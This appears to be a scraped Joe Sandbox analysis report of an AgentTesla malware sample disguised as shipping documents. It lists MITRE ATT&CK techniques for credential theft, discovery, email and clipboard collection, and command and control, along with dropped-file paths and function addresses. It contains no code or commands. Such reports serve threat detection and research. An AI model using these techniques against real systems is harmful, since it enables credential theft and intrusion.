Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Shipping documents 000022999878999800009999.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_b3z0ymdb.4qg.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_e3lkhfpk.zu3.psm1

C:\Users\user\AppData\Local\Temp\nsi1309.tmp\nsExec.dll

C:\Users\user\AppData\Local\acneform\Baroco\Andenhaandsvidens.Typ

C:\Users\user\AppData\Local\acneform\Baroco\Shipping documents 000022999878999800009999.exe

C:\Users\user\AppData\Local\acneform\Baroco\Shipping documents 000022999878999800009999.exe:Zone.Identifier

C:\Users\user\AppData\Local\acneform\Baroco\Tarsometatarsal.Pla

C:\Users\user\AppData\Local\acneform\Baroco\afplingen.che

C:\Users\user\AppData\Local\acneform\Baroco\forlggere.bov

C:\Users\user\AppData\Local\acneform\Baroco\rettersted.bef

C:\Users\user\AppData\Local\acneform\Baroco\xenosaurid.txt

Static File Info

General

File Icon

Windows Analysis Report
Shipping documents 000022999878999800009999.exe

Function 6FE81096 Relevance: 116.1, APIs: 56, Strings: 10, Instructions: 627
filestringmemoryCOMMON

Function 00403532 Relevance: 84.5, APIs: 32, Strings: 16, Instructions: 464
stringfilecomCOMMON

Function 0040571B Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284
windowclipboardmemoryCOMMON

Function 00405C63 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 148
filestringCOMMON

Function 00403FD7 Relevance: 51.4, APIs: 34, Instructions: 357
windowstringCOMMON

Function 00403C29 Relevance: 45.7, APIs: 13, Strings: 13, Instructions: 215
stringregistryCOMMON

Function 00403082 Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 181
memoryCOMMON

Function 00406594 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 204
stringCOMMON

Function 004032B9 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 166
COMMON

Function 00401774 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Function 004055DC Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72
stringwindowCOMMON

Function 004068DB Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 36
libraryCOMMON

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre